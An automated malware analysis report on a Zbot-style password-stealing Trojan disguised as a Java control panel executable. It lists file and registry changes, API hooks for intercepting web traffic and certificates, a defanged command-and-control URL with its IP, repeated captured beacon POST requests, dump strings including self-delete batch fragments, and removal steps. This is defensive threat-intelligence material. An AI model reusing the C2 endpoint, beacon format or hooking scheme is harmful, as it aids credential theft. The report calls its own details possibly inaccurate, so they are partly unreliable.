Gen.Variant.Razy.52508_65e3735439

by malwarelabrobot on May 23rd, 2016 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Razy.52508 (B) (Emsisoft), Gen:Variant.Razy.52508 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 65e3735439404a674ea5bbc78faaac25
SHA1: 223f44222cf3ce44fafab9797eb3e92af3f3d413
SHA256: ff1641efa6ef0020938da03aec82f78a21604d7711bb9c79d52c6d5ab9375b46
SSDeep: 6144:tLPMoZ1o8cbnQAhpNHSZRE/OAKQlyEI63S:VMoZS8cbnRAAEXMS
Size: 215040 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2011-08-12 20:38:01
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1328
ucibhoe.exe:432

The Trojan injects its code into the following process(es):

Explorer.EXE:1140

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1328 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp92263e3f.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Itwopub\ucibhoe.exe (215 bytes)
%Documents and Settings%\%current user%\Application Data\132305015.log (5 bytes)

The Trojan deletes the following file(s):

The process ucibhoe.exe:432 makes changes in the file system.
The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\m.ini (0 bytes)

Registry activity

The process %original file name%.exe:1328 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D 96 1D B8 F8 C7 64 47 14 83 56 A3 57 5E E3 73"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Zyse]
"Mazeet" = "13 D6 B7 AC A5 27 37 2A E3 D8 F7 28 12 17 71 F0"

The process ucibhoe.exe:432 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E 28 FB CD 6E 0F A3 C6 67 8F A8 F5 82 75 93 EA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
dff1b9ae08df172102509458c009c201 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Itwopub\ucibhoe.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Sun Microsystems, Inc.
Product Name: Java(TM) Platform SE 6 U22
Product Version: 6.0.217.0
Legal Copyright: Copyright (c) 2010
Legal Trademarks:
Original Filename: javacpl.exe
Internal Name: Java(TM) Control Manager
File Version: 6.0.217.0
File Description: Java(TM) Control Manager
Comments:
Language: Russian (Russia)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 131072 32294 32768 4.48475 6a093156859faea17378895884c16c37
.rdata 262144 10992 11264 3.28448 4a3235232011c5de1ad60caa4dc64778
.data 393216 173636 164864 5.07146 119dd46582d0819635dd3e21c4ff3390
.rsrc 655360 4792 5120 4.00827 1d7c8e35f9d128c9b626c4426c6e6ce3

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://opcehcblbaismrrzib.net/img10/flash.php 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:25 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:30 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:20 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:41 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:20 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:25 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:30 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:41 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:36 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


POST /img10/flash.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: opcehcblbaismrrzib.net
Content-Length: 61
Cache-Control: no-cache

id=XP8_7875768F6522DF69&hash=5E11CE085D32C8B87933DC4C388288F7
HTTP/1.1 404 Not Found
Server: nginx/1.8.1
Date: Sun, 22 May 2016 17:10:36 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.8.
1</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a
padding to disable MSIE and Chrome friendly error page -->..<!--
a padding to disable MSIE and Chrome friendly error page -->....


The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_1140_rwx_01E00000_00027000:

.text
`.data
.reloc
HTTP/1.1
hXXp://
hXXps://
HTTP/1.
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
urlmon.dll
cabinet.dll
kpcjm.gna
esbhmm.dvj
:1';$9/<
(!-0*1,&? 6
!($9#8%/6)?
<-(4:<1=&"
"?<9/). !7
:>8*,:61
>#):>)9/9
25 6-#,%
#%:<!/ )
.*<(( )'1
‚!%2"4"9
'! (/';>>
Ujneipwû~l.Bmd~
.%3/0-;(
PR_OpenTCPSocket
GetProcessHeap
KERNEL32.dll
MsgWaitForMultipleObjects
ExitWindowsEx
GetKeyboardState
MapVirtualKeyW
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
USER32.dll
RegCreateKeyExW
RegOpenKeyExW
RegCloseKey
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
7 7$7(7,7
cGlobal\XXX
nspr4.dll
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
e.dat
SysShadow
Global\{4D64DD02-D292-29F2-C0DE-9BB9BF8A0841}
%Documents and Settings%\%current user%\Application Data
{3207E911-E681-5691-C0DE-9BB9BF8A0841}
%Documents and Settings%\%current user%\Application Data\Uxsye\tiybpy.ykt
%Documents and Settings%\%current user%\Application Data\Uxsye
tiybpy.ykt


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1328
    ucibhoe.exe:432

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmp92263e3f.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Itwopub\ucibhoe.exe (215 bytes)
    %Documents and Settings%\%current user%\Application Data\132305015.log (5 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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